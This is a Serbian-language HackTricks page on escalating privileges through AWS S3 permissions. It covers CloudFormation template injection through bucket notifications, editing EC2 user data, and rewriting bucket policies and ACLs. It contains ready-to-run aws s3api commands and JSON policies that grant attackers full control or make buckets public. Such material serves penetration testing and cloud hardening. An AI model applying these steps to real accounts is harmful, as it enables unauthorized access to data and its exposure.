AWS - S3 Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Napadač sa ovim dozvolama nad interesantnim bucket-ima može preuzeti resurse i eskalirati privilegije.

Na primer, napadač sa ovim dozvolama nad cloudformation bucket-om nazvanim "cf-templates-nohnwfax6a6i-us-east-1" može preuzeti deployment. Pristup može biti dat sledećom politikom:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

I hakovanje je moguće jer postoji kratki vremenski prozor od trenutka kada se šablon postavi u kantu do trenutka kada se šablon implementira. Napadač može kreirati lambda funkciju u svom nalogu koja će biti aktivirana kada se pošalje obaveštenje o kanti, i preuzeti sadržaj te kante.

Pacu modul cfn__resouce_injection može se koristiti za automatizaciju ovog napada. Za više informacija pogledajte originalno istraživanje: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ovo su dozvole za preuzimanje i otpremanje objekata u S3. Više AWS usluga (i van nje) koristi S3 skladište za čuvanje konfiguracionih fajlova. Napadač sa pristupom čitanja može pronaći osetljive informacije u njima. Napadač sa pristupom pisanja može modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije. Ovo su neki primeri:

  • Ako EC2 instanca čuva korisničke podatke u S3 kanti, napadač bi mogao da ih modifikuje da bi izvršio proizvoljan kod unutar EC2 instance.

s3:PutBucketPolicy

Napadač, koji mora biti iz istog naloga, u suprotnom će se pojaviti greška The specified method is not allowed, sa ovom dozvolom će moći da sebi dodeli više dozvola nad kantama omogućavajući mu čitanje, pisanje, modifikaciju, brisanje i izlaganje kanti.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Napadač bi mogao zloupotrebiti ove dozvole da bi mu se dodelio veći pristup određenim kantama. Imajte na umu da napadač ne mora biti iz istog naloga. Osim toga, ima pristup za pisanje.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Napadač bi mogao zloupotrebiti ove dozvole kako bi sebi omogućio veći pristup određenim objektima unutar kanti.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Napadač koji ima ove privilegije trebao bi moći da postavi Acl na određenu verziju objekta

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks:

Last updated